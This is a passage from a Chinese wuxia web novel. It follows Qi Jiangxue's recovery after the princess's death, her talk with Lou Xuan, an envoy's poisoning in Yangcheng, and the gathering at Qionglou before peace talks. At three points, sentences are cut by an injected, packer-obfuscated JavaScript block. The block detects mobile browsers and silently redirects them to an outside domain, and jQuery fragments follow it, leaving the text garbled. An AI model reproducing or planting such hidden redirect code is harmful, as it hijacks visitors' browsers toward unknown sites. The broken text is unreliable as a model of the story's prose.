戚江雪消化着诸多信息,只觉脑中越发混乱,似乎有许多人在吵嚷。而高敏交待完所有的事,似乎一切都放下了。她眉宇间弥漫着死气,呼吸也渐渐困难起来。戚江雪注意到后连忙抱住她。
“你和你母亲长得真像,但性子倒是更像你父亲。雷生有你这样一个女儿,应当很高兴吧。家还是可以回的。不过你要记住,你想要的、应得的,亲情或许给不了你,但权力可以。”高敏说完,神智便陷入了混沌。那双优雅的凤眸盯着戚江雪,却又好像在透过她看向别处。
“我若有孩子,也该跟你一样大了。”最后一句轻语随着气息一起消散。
戚江雪缓缓放下高敏的尸体,让她和冯祁躺在一起。之前强撑的精气神此时纷纷从身体里跑了出去,内力却还躁动不安。她将凤印收入怀中,靠在一边闭上了眼睛。
故事可以有很多种结局,她和他们都将参与书写。但此刻她只想休息,她太累了。
虔江上,一只摇橹船正慢悠悠地顺流南下。
戚江雪感到自己的身体在轻轻摇晃。是在路上?她睁开眼,发现自己正躺在不大的船舱里。
秦修意就坐在旁边,见她醒了顿时满脸喜色。“苒苒,江雪醒了。”她对着船舱外喊了一声。
戚江雪双手撑着自己坐了起来,发现身上的伤口都被处理了。
“师父,我们这是去哪?我,睡了很久吗?”
秦修意叹了口气道:“去益州。你足足睡了七天,我生怕你醒不过来。外伤还好,内伤极重,幸好苒苒为你针灸行气,不然你定要被冲坏身体。你体内怎么突然多了那么强的内力,清罡诀几乎要压制不住。”
戚江雪将自己在地牢里遇到卢愈的事告诉了秦修意,她担忧地皱起了眉头。
“若是混元诀那便不奇怪了。卢愈在江湖上难逢敌手,他竟然将毕生功力传于你,也是大造化。只是你若不能将此功好好内化,以后只怕会有大麻烦。你的气海虽广,可身体力量毕竟还不够强。在无争别院就是如此,你离走火入魔就差一两步了。”
戚江雪试着运气,发现此前泾渭分明的两股力量此时已经纠缠在一起,难分彼此,但她对内力的掌控却不如从前。
脑海中突然出现了一行信息:
“功德奖励有新变化——”
【您的内力已是顶尖高手水平,但整体力量有待加强,否则会有精神崩溃的可能。功力可继续提升,上限未知。】
“嗯,接下来这段时间我需要好好练功了。对了师父,你们是怎么从山庄出来的?”
秦修意面露惆怅之色,关苒苒此时从舱外进来,手里端着一碗药。“先把药喝了,你之前消耗太过,需要补补。”
戚江雪乖顺地接过药碗,一饮而尽,被苦得脸都变形了。关苒苒递给她一块甘草糖,才缓缓开口。
“我们等了一段时间,楼公子和我便去无争别院找你。刚到那里,看你浑身是血倒在那我差点以为你也没了,幸好只是气火攻心晕了过去。我们最终也没有走那条暗道,处理了长公主与冯都知的尸体后,便从正门出来了。也是赶巧,我们刚走,景军便到了。如今新派来的景军已经驻扎在了惠州,趁着管控松懈时我们偷偷从惠州口岸走水路下来了。”
戚江雪沉默了片刻,问秦修意:“益州是师父的家乡吧?我们要过去,会遇到您不想见的人吗?”
秦修意淡然开口:“关山派在渝城,我们此次先回蓉城的秦家老宅。你需要好好休养一段时间,现在北方已经乱了,益州倒还好,仍在大绥控制之下。至于其他的,之后再说吧。苒苒,就像之前说好的,你与我们一起。”
关苒苒带着忧伤道:“对关家来说,我不出现才是最好的。不知他们此时是不是在宁城,陈家又在何
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101179|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
处。”
戚江雪轻轻碰了碰关苒苒的胳膊道:“关姨,消息以后总能打听到的。陈家之前派了杀手过来,这笔账我也会跟他们算。”
关苒苒笑了笑:“那都是小事。昨日种种譬如昨日死,今后能同你们在一起便好。”
戚江雪也笑了起来,但那笑容很快便蒙上了一层淡淡的翳。她犹豫着问出了从醒来后就一直刻意回避的问题。
“师父,关姨,楼公子呢?”
秦关二人对视了一眼,又同时看向了戚江雪。
关苒苒的笑容里带了些深意:“我还在想你什么时候才会问他呢?”
秦修意温和道:“他执意要护送我们去益州,此刻就在船头。我想,他一直在等你醒来吧。”
戚江雪此时心情复杂,在两人的注视下尤其觉得尴尬。她连忙起身,“我去找他。”
“你慢些走,当心头晕。”关苒苒的声音从背后传来。
清风徐来,水下碧浪万顷,两岸桃花盛放。南国的春天比北方更温暖。
楼煊长身玉立,站在船头远眺。戚江雪慢慢走过去,站在了他的身边。
“明日就能到益州了。你的身体如何?”楼煊看着江上浩渺烟波轻声道。
“好多了。多谢你。虽然这话已经说了很多遍,希望你不要觉得厌烦。”戚江雪同样看着前方。
楼煊转过头,看着戚江雪轻笑起来:“我不会厌烦。你总是如此客气,我已习惯了。”
戚江雪转过头对着楼煊假笑了一下:“楼公子,有没有可能我是为了缓解害羞之情。道谢,可以让自己显得有礼貌些。既然你已经习惯了,那以后我就不再多问了。”
楼煊似是没想到她会这么说,稍微愣了一下才笑道:“哦。”
两人沉默了一会,戚江雪刚准备开口,楼煊先问了一句:“你害羞什么?”
戚江雪:“……”
楼煊笑看着她,似乎非常好奇答案,戚江雪忍不住白了他一眼。
“因为我之前的行为确实也算辜负了你的好意,你不需要我的道歉,可我心里依然有愧疚。醒来见到你,自然感觉有些难以面对。”
“是这样啊。”楼煊似是了然地垂下双眼,“既然现在没事了,那些就都让它过去吧。还有,既是好友,便换个称呼。我叫你江雪,你也叫我的字麒轩可好?”
戚江雪点点头:“好。其实我也有些好奇,听说楼相为人严苛,他竟然愿意让你加入凌鸢阁而不是入仕。”
提到父亲,楼煊的神情变得严肃起来。
“他当然不愿意。他要我走跟他一样的路,可我习惯了自作主张。若不是指着我继承香火,他早就和我断绝关系了。”
戚江雪道:“你的人生,自然要自己做主。你的意愿才是最重要的。”
楼煊看着她,眼神温柔:“之前我就觉得,你一定会这么说。”
戚江雪:“哦?看来你很了解我喽?”
楼煊看向岸边的桃花:“人心最是难解,若我说很了解你,岂不是太自大了?你与我见过的女子都不同,这只是一种感觉。”
戚江雪弯起唇角看着他:“你的感觉不错。但世间的女子,每个都与众不同。”
楼煊笑了笑,没有再说话。
又过了片刻,戚江雪问:“你之后有什么打算?”
楼煊道:“让这世道不那么艰难吧。送你们到蓉城后,我便要回凌鸢阁了。”
戚江雪点了点头,内心怅然。
27. 乍暖还寒难将息
惠州地处中原,沃野千里,首府阳城作为八朝古都自然是钟灵毓秀,英贤辈出。然而这个曾经舟车四达,襟带八荒的大绥帝国之都此时处处都是战争之后的疮痍与残败。
景国已经占领了燕、兖、冀三州。惠州深入关中远离北地,景国既要提防西边的凉州军前来支援,又担心南下的绥军掉头反攻,因此在攻破帝京后只烧杀抢夺一番便离开,只在此留下了不到万人的军队驻守。惠州百姓因此能稍喘口气,不像完全沦陷的三州子民那样水深火热。他们只能一边在敌国严苛的统治下苟延残喘,一边盼着收复山河的铁蹄能早日抵达。
原本傲视四夷的绥朝百姓早已被碾碎了尊严。那些高门大户多数随着偏安朝廷南下避祸,没来得及走的则被劫掠一空。王室公卿被掳走者不在少数,遑论平民百姓。过往繁华的街道如今鲜有人烟,侥幸存活下来的人们则大多深居简出。
.
戚江雪在细雨中独自行走。
自她离开惠州,已经过去了三个月。这段时间她一边养伤,一边进行着武学升级。在终于降服了体内的混元诀并把它与清罡诀融合后,她真正跻身到了顶尖高手之列。
当今武林中能与戚江雪一战之人不能说不多,只能说寥寥无几。不过,天下之大,强中自有强中手。除了大绥,景国和丘桓亦有许多高人,因此秦修意嘱咐她不可托大,她亦深以为然。
关苒苒的医馆开业,秦修意的身体也开始好转,二人在蓉城已经安稳,戚江雪便决定孤身返回。
长公主临终前的话语每夜都会在耳边回响。是默然度日隐于市还是投身时局主沉浮?她选择了后者。
为何会死?为何要在众多功德奖励中选择武学外挂?因为侠骨柔情,热血难凉,她虽改变,但依然是自己。穿越重生已是传奇,那便让这传奇不朽。侠不以武犯禁,而助人以义。这是戚江雪此时给近一年前刚来这个时代的自己的回答。
前两日她再次去了清晏山庄,山庄已经毁了大半,但温泉矿道处却有景军把守。看来景国果然也觊觎着赤渊矿,只是一时无法轻举妄动。戚江雪在存留的静园扶疏院等处搜刮一番,找到了不少药物和钱财。她毫不客气地笑纳了,也算是完成了自己几个月前的小心愿。
回到阳城后,戚江雪有些犯愁。因为,长公主要她找的那人早已不见踪迹。
.
黄昏,小甜水巷。
几个月前这里还热闹非凡,彻夜燃灯,笙歌不断,现在已然沉寂。戚江雪过来,只因打听到这里有那人曾经的居所,兴许能打听到消息。
巷中家家门户紧闭,旧居也是如此。戚江雪敲了敲门,无人应声。
意料之中。她看了看左右,撬开窗户跳了进去。
甫一开窗她就感觉到了人气。一阵风迅速袭来——“哐当!”
戚江雪偏头,躲开藏在门后的攻击,轻轻抬手打掉了袭击者手中的铜盆。
“施悠悠?”
看着眼前一身红纱的妙龄女子,戚江雪有些迟疑地问道。
“你是何人?有何贵干?”女子脸色有些苍白,神情戒备。说完后又将掉在地上的铜盆捡起来拿在手中,似乎这样就能保护自己。
戚江雪打量了一下整间屋子,器物不多但收拾整洁。她没有直接回答,而是又问:“就你一人在这里吗?”
女子抿了抿唇:“你若要找悠悠,她不在这里。”
戚江雪皱眉:“这不是施悠悠的屋子吗?她去了哪里。”
女子道:“她让我借住在这。你到底是何人?”
“姑娘莫怕,我并无歹意。只是受人之托,想要找到施姑娘罢了。你们既然关系很好,那想必你也知道她可能会有危险,我可以保护她。”戚江雪的声音很是轻柔。
女子犹疑地看着她,过了一会才道:“我也不知她在哪儿。”
此女名叫辛黛兰,原是天香楼的歌姬,后来被一京城富商看中,赎回去做了侍妾。景军南下,富商的生意也遭了劫难。被围之时,富商把她连同家财都献给了景军的一个头领,自己带着妻儿逃命去了。辛黛兰不堪受辱,正要自尽时被施悠悠给救下。
“所以在那之后你就一直住在这里?”
辛黛兰点点头:“悠悠是极好的,多亏她我才能躲过这一波灾祸。以前只听说她人美歌甜,没想到还有一副侠义心肠。”
戚江雪又问:“那她是何时不见的?”
辛黛兰想了想道:“大概一个月前。悠悠应当还有别的住所,这里她并不常回来,我也不好打探她的行踪。只是我们最后一次见面时,她说之后若有人来这里找她,就让那人去琼楼。”
“琼楼?弥川津的那个?”戚江雪疑惑。长公主确实曾跟她提过琼楼,但不知跟施悠悠有什么关系。
辛黛兰诧异起来:“自然是在弥川津。这当世第一的酒楼难道还有分号?”
戚江雪不好意思地笑道:“一时想岔了。那请问辛姐姐,在我之前还有人找她吗?”
辛黛兰摇摇头:“没有,你是第一个。”
话音刚落,门外便传来几下重重的敲门声。“施悠悠可在这里?”
戚江雪与辛黛兰对视一眼,还未来得及出声,门便被大力推开了。两个穿着兵服的男人走了进来,是绥军。
其中一个大胡子扫了两人一眼,对着辛黛兰粗声开口:“你是施悠悠?”
辛黛兰嗫嚅道:“奴不是。”
“那你可会唱曲儿?”大胡子兵瞪着辛黛兰,好像只要她敢否认就肯定没有好果子吃。
“会……奴家过去唱过。”辛黛兰犹犹豫豫地说。
大胡子兵吐出一口气:“奶奶的,终于找着了。”他一把将辛黛兰推到另一个长脸士兵面前,“带走。”
“军爷,请问这是要带我姐妹去哪儿啊?你们不是要找施悠悠吗?”戚江雪上前拦住他们。她悄悄捏了捏辛黛兰的手,示意她别害怕。
大胡子瞪她一眼,没好气道:“大绥的和谈使团已到阳城了,吴大人点名要叫施悠悠去作陪。这满城都找遍了,连个老鸨影儿都没有,更别说什么名姬!好容易打听到这,幸好找到了个能唱的,不然都没法向大人交差。怎么,你也能行?”
“我是施悠悠……”眼看大胡子双目圆睁,戚江雪补了一句,“的好姐妹。这么好的机会,军爷把我也带去吧。”
大胡子看了看戚江雪的脸,倒也没有怀疑。
“那就一并带走。算你有眼力见儿,这次若能伺候好吴大人,少不了你们的好处。”
.
鲁显今日心情极差。
绥景两国和谈就在三日后,地点选在了弥川津,他作为现任阳城府尹被景国命令负责此次会谈。景国使队还未到,大绥的使者已经踏进了他的府衙大门。
绥主使是他的老对头吴庸,鲁显曾经千百般看不上此人,觉得他人如其名庸俗不堪,但他如今面对吴庸却难以再抬起头。只因他降了景国,吴庸却在南下宁城后被新帝重用。
吴庸讥讽的话语还在鲁显耳边回荡着,偏偏他反驳不得,谁让自己脊梁骨确实直不起来呢。
“大人,下官已经安排吴大人他们在后面歇下了。不过……”少尹说到此处突然迟疑了起来。
“不过什么?有话直说!”鲁显没好气地问道。
“吴大人叫了两个歌姬过来陪着,说是不想在脏污之地,明日就要到琼楼去。”
“下流东西!这像什么话!当我稀罕他?”鲁显开始骂骂咧咧。
此时景国几位皇子正在争夺储君之位,加上新占领的大片州土民不归心,需要止战以抽身稳住局势。而大绥则希望借此机会让南下的政权得以稳固,以图来日。此次和谈甚至关系到是否能迎回被俘的先帝等人,抛开景国命令,鲁显的私心也希望和谈能够成功。
他无能狂怒了一番,但终究没什么立场阻止,也管不了吴庸。阳城的秦楼楚馆大都关闭了,名角儿要么逃亡,要么被掳,也不知吴庸这杀才从哪里找到的歌姬。
.
吴庸心情很是不错。施悠悠的美名遍传帝京,过往他没机会得见。惠州已经沦落了些时日,他此次就是想碰碰运气,找不到施悠悠也谈不上失望。刚带回来的这两名歌姬颇有姿色,倒也能得趣儿。尤其是这个灰发雪肤的,还是个胡姬。
此时在南衙府内的戚江雪,整个人从身到心都是麻的。辛黛兰正在前面唱着一曲《菩萨蛮》,而她在吴庸要说话时连忙又给他满上了一杯酒。
吴庸眯着眼对她笑道:“你叫什么来着?”
戚江雪低头道:“霜儿。”
“哦,对!霜儿。你可能给兰儿伴舞?”吴庸已经有些口齿不清。
戚江雪道:“小女子不会跳舞,只会弹琴。以往都是我给兰儿姐姐伴奏,只是这次出来的急,没有把琴带来。”
“哦,无妨。这些都是听惯了的,没甚意思。你坐那么远干什么?来来来,兰儿,你也过来。”
吴庸面色潮红,手刚刚搭上戚江雪的腰就被她条件反射一把推开了。吴庸倒在地上,看着闪在一旁的戚江雪,他没有生气,反倒嘿嘿一笑,也跟着站了起来。
“是个有脾气的,我喜欢。这样冷着脸,更有味道了,哈哈哈。”
戚江雪厌烦的同时,感觉有哪里不对劲。只见吴庸摇摇摆摆朝她走了两步后,整个人突然仰面
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177300|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
倒了下去,重重砸在地上后便一动不动了。
辛黛兰惊叫一声,赶忙用手捂住了自己的嘴。戚江雪上前一看,吴庸已经没了气息,黑红的血从七窍缓缓流出。
“他,他,怎么会?”辛黛兰战战兢兢,连一句话都说不全。
“别慌。”戚江雪面色沉重,“他的死跟我们没有关系,看这样子是早就中毒了。”
戚江雪走到桌前看了看刚喝的酒,没有问题。
她在关苒苒身边耳濡目染,也学习了不少相关医术,只是想要判断出这是什么毒,一时恐怕还有些难度。
辛黛兰来到她旁边问:“那我们怎么办?”
正在这时,敲门声响起。
“吴大人,琼楼的伙计过来送酒了。”
戚江雪看了一眼门口,扬声道:“大人现在不想被打扰。”
门外的人为难道:“可这是大人特意订的酒,说是用来助兴,到了就得马上送来。”
辛黛兰有些绝望地看了戚江雪一眼,见她淡定道:“那就让伙计送进来吧。只许送酒伙计一人来。”
戚江雪将吴庸的尸体搬到床上,辛黛兰强忍着恐惧也爬了上去,将吴庸挡在里面。刚拉好帷幔,门便再次被敲响了。
戚江雪走上前开门,门外的伙计一身灰衣,圆帽下是灰扑扑的脸。门一打开,他便不由分说将脚下的两坛酒拖了进去,随后自己也迅速挤进了门里。
此时戚江雪将门关上,静静看着来人。那伙计朝里面望了一眼喊道:“大人,酒给您送到了。”
戚江雪似笑非笑地看着他说:“大人喝了许多,已经歇下了。”
伙计听声音像个少年,讨好地笑着:“这酒是专门为大人送的,老板千叮咛万嘱咐一定要让大人签收,否则我没法交代啊。”
戚江雪哼笑一声。她走到床前一把掀开了帘子,将惊疑不定的辛黛兰拉下来,露出里面的尸体。
“吴大人恐怕回应不了你,现在可满意了?”
那伙计竟然还走到近前,仔细看了看吴庸的尸体,随后才点了点头。
“如此,我便知道该如何交差了。”
戚江雪猛地伸手摘下伙计的帽子,一头浓密的青丝瞬时便飘洒下来,长可过腰。
“姑娘这么想确定吴庸的死活,莫非人就是你们杀的?”她冷声问道。
伙计轻笑道:“我只听说今晚有好戏才过来看看。”
“你应当不是琼楼的伙计吧。”戚江雪问。
伙计摇头:“我可是货真价实的琼楼人。不过不是伙计。”她笑看着戚江雪和辛黛兰,慢条斯理地说:“二位姑娘可是惹上大麻烦了。”
戚江雪也笑了:“你莫非以为自己能脱得了身?”
伙计听完此话,面色一沉,谁料刚想动身便被戚江雪拦住。只用三招,伙计就再不能动弹。
“你到底是什么人?”她的声音带着紧张,万万没想到能在这里遇上此等高手。
“施悠悠可在琼楼?”戚江雪扣着她的肩膀问。
伙计听到这个名字,突然咬牙切齿道:“你找她干什么?”
戚江雪道:“受人之托。施悠悠也留下口信说找她可去琼楼。”
伙计闭上眼睛,没有开口。戚江雪想了想,从怀中掏出凤印。“你可认得?”
看见凤印,伙计脸色大变:“你怎会有此物?”
戚江雪道:“有人将它交给我,让我做它的主人。”
伙计竟然双眼含泪:“那你便也是我的主人。”
肩膀上的辖制消失了,伙计单膝跪地,对着戚江雪一拜。
“属下叶缥,见过凤主。”
戚江雪连忙上前将她扶起:“你就是琼楼掌柜叶缥?殿下跟我提起过你。”
叶缥嘴唇颤抖着:“殿下她?是否已经……”
戚江雪严肃地点了点头。
泪水滑落脸颊,叶缥背身擦了擦。脸上灰尘被抹掉,露出艳丽姿容。
“琼楼真正的主人是殿下,我只是代理,平日也帮她处理一些生意上的事。之前大家都有猜测,但无令不得擅自行动。见印如见人,主子,今后我们会听凭您差遣。”
戚江雪莞尔一笑:“我定不会让这凤印蒙尘。不过叫主子折煞我了,我叫戚江雪。叶姐姐比我大,叫我名字即可。”
叶缥点了点头,又扫了眼在一旁发懵的辛黛兰。
“此次和谈并非众心所向,我得到消息说有人要对吴庸动手。所以今夜特意前来查看。此地不宜久留,这位姑娘也跟我们一起走吧。”
戚江雪道:“你可有准备?”
叶缥道:“恐怕得委屈你们藏进大酒桶了。”
28. 故客下马新客至
源泉混混,不舍昼夜。无论人事如何变迁,关河之水都顾自不歇。暗黄的河水淌过陈旧的春秋,将每一朵沉积之浪送往大海。
被誉为“母亲河”的关河自最西南的登州向东海奔流而去,途径益、章、惠、兖、豫等六州,横贯了整个绥帝国。正是因为这条河,景国才能一直被阻挡在北边,国难后的绥人才会选择衣冠南渡。无论关河是否在汛期,弥川津的人都是络绎不绝。
弥川津,古时也被称作天水渡,是绥境内最有名的一个渡口。西接惠州,东连豫州,北交兖州,是三州的交界汇聚地。这里四通八达,几乎是各水路必经之处,又因归属帝京阳城,自然也承接了南来北往的风流与东奔西走的繁忙。
不过,弥川津之所以有名,不只因为它是交通枢纽,还因这里有着天下顶好的酒楼,琼楼。
上琼楼,喝美酒。赏曼妙之姿,闻佳人展喉。有诗云:笙歌彻夜舞不休,玉宇飘香客满舟。鼎烹八珍寻常事,金蟾掷下换酒筹。琼楼能引得无数文人骚客竞折腰,官员百姓争相前往,雕梁画栋美味佳肴还在其次,气度与风雅才是关键。
听闻景国也在自己的都城延京仿建了一座酒楼,可惜形可同,神难似。之前景将宗弼攻破帝京北归时想要将琼楼付之一炬,被景国三皇子阻止,琼楼这才幸免于难。
此时的琼楼比起过往,就如同在国难中流离的美人,难掩消沉。
“干什么?琼楼的生意不做了?”外面的男子语气不善。
伙计站在门口不卑不亢道:“想必这位公子也看到了,近来到处都是官兵。琼楼暂不对外开放,除非您有鹿鸣柬。”
男子疑惑:“那是什么?以前怎么没听说过?”
伙计道:“是我们掌柜亲手所制的请柬,能得到鹿鸣柬的自然是琼楼的贵客。弥川津还有其他酒家,公子何不改去看看?”
男子前脚刚离开,后脚便又有一人前来。
“听说鹿鸣柬需得花一百两黄金购买,现在买可还来得及?”
伙计看向新来说话之人。此人衣着不凡,年纪不大却挺着个大肚腩,白面团似的脸上笑容和气,看着很是可亲。
伙计也露出笑容道:“若要现买,需花三百两黄金,还得问过我们掌柜。”
和气男对伙计道:“三百两便三百两罢。我买了,还请小哥儿通传叶掌柜。”
“不愧是贺老板,真是财大气粗啊。承蒙您能看得上小店,不过我也得跟您说明白。三百两黄金只是进琼楼的资格,之后的一应食宿还得另算。”叶缥身姿袅娜,缓缓走过来说道。
贺奇善对着叶缥拱手作了个揖:“叶掌柜,久仰久仰。如今时局动荡,生意难做。贵有贵的道理,我自然省得。近日多暴雨,客船难渡,也只得在此多停留些时日了。”
叶缥点头:“琼楼自然是不会拦您这样的大方人。安平,带人将贺老板的货抬进来,仔细些。”
贺奇善才在二楼的阁子坐下,就见一人从门口走进来,径直坐到了一楼右侧的雅间。那女子一身水红衣裙,腰系金线丝绦,虽覆着面纱,仍能窥见其动人之色。
贺奇善笑着问带他上来的叶缥:“叶掌柜,她也是您的贵客?”
叶缥道:“这位是宋太师的独女。人家出手阔绰,又身份贵重,我也不好得罪。”
贺奇善点了点头。此时一声惊雷响起,紧接着便下起了瓢泼大雨。没过多久,一个浑身湿透的书生被伙计安平拦在了门外。
“琼楼已经不接客了,请公子去别地投宿。”
书生气喘吁吁道:“这么大的雨,如何能走?哦,对了。我有鹿鸣柬,这总行了吧?”说罢从怀中掏出了一块巴掌大的玉牌。
贺奇善暗道,真是人不可貌相。看上去如此穷酸的书生,竟然也有鹿鸣柬。
“呦呦鹿鸣,食野之苹。我有嘉宾,鼓瑟吹笙。[1]”叶缥走向门口,对书生微微福身,“方公子以往给我们的姑娘写了那么多好词,琼楼的门自然一直向您这位座上宾敞开。”
方崇德回了一礼道:“我的词能够被传唱出去也是托了叶掌柜的福。只是没想到琼楼竟不见了昔日宾朋满座,灯火通明的盛况,可悲,可叹呐。”
叶缥苦笑:“现今不比从前,避而不出者居多,这不我的伙计都跑了好几个。没想到方公子此时会来。”
安平帮着方崇德将他随身带着的一个大木箱搬进来。方崇德的脸上分不清是雨是汗,安平也是累的直不起腰,可见这箱子属实不轻。
“方公子带的是什么东西,可需要单独安置?”
方崇德抹了一把额头道:“都是之前在太学时的书。有些还是孤本,可淋不得雨。”说完就要将箱子打开。
突然,大木箱剧烈晃动了起来,几人连忙退后几步。方崇德的一脸惊惧地看着箱子道:“这怎么会动?”
话音刚落,箱子上的铁锁四分五裂,箱盖骤然飞了出去。紧接着,一个身影从箱子里跳了出来。
“大,大变活人。”安平吓得瞪大了双眼。
看着突然出现的高个络腮胡男子,叶缥沉下了脸色。“方公子,你不是说箱子里装的是书吗?琼楼现在可不欢迎不速之客。”
方崇德也是一脸莫名:“我不晓得啊。箱子里明明装的都是书,我一路带过来的。”
男子哈哈大笑:“你那些破书太占地方,都被我扔了。幸好提前进了箱子,不然也得被淋一身雨。”
方崇德脸都气红了,大骂道:“粗野狂徒!那些书价值千金,岂是你这厮能比的?你是何人?我要找人将你拿下!”
男子冷哼:“那就看你有没有这个本事了。在下薛仪贵。”
叶缥冷冷开口:“如此有恃无恐,原来是‘妙手无影’薛仪贵,怪不得能神不知鬼不觉藏进别人箱子里。可惜我琼楼容不下鸡鸣狗盗之辈。”
薛仪贵懒洋洋从怀里掏出一块玉牌扔给叶缥,那玉牌上吃草的小鹿栩栩如生,正是鹿鸣柬。
“你怎会有鹿鸣柬?”叶缥皱眉问道。
“既是你口中的窃贼,那又有什么东西是我偷不来的?叶掌柜,持鹿鸣柬者即为琼楼贵客,这是你自己定下的规矩。现在总不能将我赶出去吧。你也别担心,爷有的是钱。”
叶缥将鹿鸣柬握在手中,冷然道:“留下可以,不要将主意打到楼中。”
薛仪贵轻哧:“盗亦有道,叶掌柜放心。”说完便走到一楼左边的桌子旁坐下,自在地像是回了家。
“在路上这么久实在是饿了。一份旋炙猪皮,一份腊肉蒸,一碗三脆面,再来一坛‘女儿红’。快些上。”
一个小伙计见叶缥没有再说什么,便领了吩咐去准备。方崇德一边骂着“无耻之徒。”一边坐到了离薛仪贵最远的桌子旁。
雅间里的红衣女子似乎对薛仪贵十分感兴趣,盯着他看了许久,薛仪贵浑不在意,只在酒菜上来后大口吃喝。
贺奇善将一切都看在眼里,摇摇头,也慢慢品起了酒。这琼楼的酒可真是当世一绝啊。
天色将暗,戚江雪悄悄回到琼楼。叶缥刚到后堂,看见她一脸忧心忡忡。
“我已将她送走了。”戚江雪道。
叶缥点点头:“让那位辛娘子留在这里本也无妨,可昨夜之事实在让她太恐惧,离开对我们都好些。”
戚江雪坐下来喝了口茶,“景国军队已经守在了渡口,看来使团也到了。明日就要和谈,阳城府衙居然没有传出消息。难道没发现吴庸出事?”
叶缥道:“或许
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194665|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是吴庸荒唐惯了,他们没敢去打扰。”
前边突然传来一阵喧哗之声,叶缥连忙站起来:“我过去看看。”
琼楼门大开,伙计在旁边瑟瑟发抖,客人们警惕注目。只见进来的分别是一队景军和一队绥军,泾渭分明地守在大门两侧。
阳城府尹鲁显带着手下少尹走了进来,叶缥连忙迎上去道:“见过大人。您来琼楼怎么还带着些军爷,这阵仗可是要吓坏我的客人了。”
鲁显摆摆手:“两国和谈就在明日,我那府衙简陋,比不得琼楼高华。二位大人也有意留宿在此,叶掌柜,你可要把握好这次机会啊。照顾好了两国来使,琼楼再现辉煌那不是指日可待?”
叶缥点头称是。
鲁显对手下吩咐:“去请两位天使进来吧。”
景国大使宗利走进来时,叶缥尚能淡定,看到吴庸后,她的脸色却忍不住大变。
“叶掌柜,还不快快迎接?”鲁显在旁边有些不悦地提醒,叶缥迅速回神。
几人被安排到了三楼正中的雅座。
“明日才是和谈正期,今夜就请两位大人在琼楼休憩,彼此熟悉熟悉,也为和谈做准备。”鲁显对两边都是极力讨好,只盼这次和谈顺顺利利。
宗利轻哼:“我对吴大人已有所了解,今夜不谈正事,且放松。这琼楼名声远扬,我早就心驰神往。把那最好的酒菜都上来。”
吴庸微微一笑:“宗大人说的正合我意。不过,只有美酒没有美人怎么能行?叶掌柜,烦请你安排一下,也好让我和宗大人见识见识琼楼歌舞。”
叶缥无奈道:“大人们也看到了,如今琼楼不比往日,早就停了宴饮表演。客人稀少,姑娘们也都不来了。”
宗利眉头竖起,正要发火,只听一个娇媚的声音在楼下响起:“谁说不来了?掌柜的莫非忘了奴家?”
几人向下望去,只见一身形窈窕的红纱美人不知何时出现在了大堂中,正笑着对楼上盈盈一礼。
叶缥看见女子后,嘴角微微勾起:“原是妹妹来了。”她转向几人道:“这位可是我们琼楼最善舞的姑娘了。”
鲁显大笑起来:“好,好,我只当叶娘子藏私,原来还是有宝贝在的。不过只一人可怎么周转得过来?”
叶缥很是为难道:“大人也知道现在的形势,别说名姬,就是寻常些的姑娘都难见到。除了这个,就还剩下我一个妹妹,再多也真没有了。”
鲁显道:“那便让你妹子出来见客。无论如何,也要招待好两位大人。”
叶缥小心开口:“我那妹妹之前病了一场,懒怠梳洗,只怕难以见人。”
吴庸迫不及待开口:“先叫下面的这位娘子陪着,让你妹妹快些打扮。”
叶缥只得答应。
见到戚江雪后,叶缥便不复淡定。
“那吴庸的尸体明明是我们亲自处理的,他怎么会出现在这里?”
戚江雪早已在暗地看到一切。
“叶姐姐别慌,他是人是鬼还得看看才知。既然他们要人,那我正好过去。请姐姐为我梳妆改扮一下吧。”
叶缥为她改妆时,戚江雪开口问道:“我在一楼雅间看到了一个熟人,叶姐姐可认得宋思蔻?还有,那位新来的姑娘真是姐姐相熟的舞姬吗?”
叶缥道:“你说的应当是宋逊之女,她也是长公主的人。那位舞姬是我特意请来的,实则是一名刺客。”
外边有伙计来催,叶缥难掩担忧:“江雪,你能应付得来吗?”
戚江雪挑眉,镜中的她已变成了与自己完全不相像的陌生美人,叶缥真是手法独到。
“兵来将挡水来土掩。我先去了,之后再请姐姐将这些事详细说与我听。”
叶缥点头。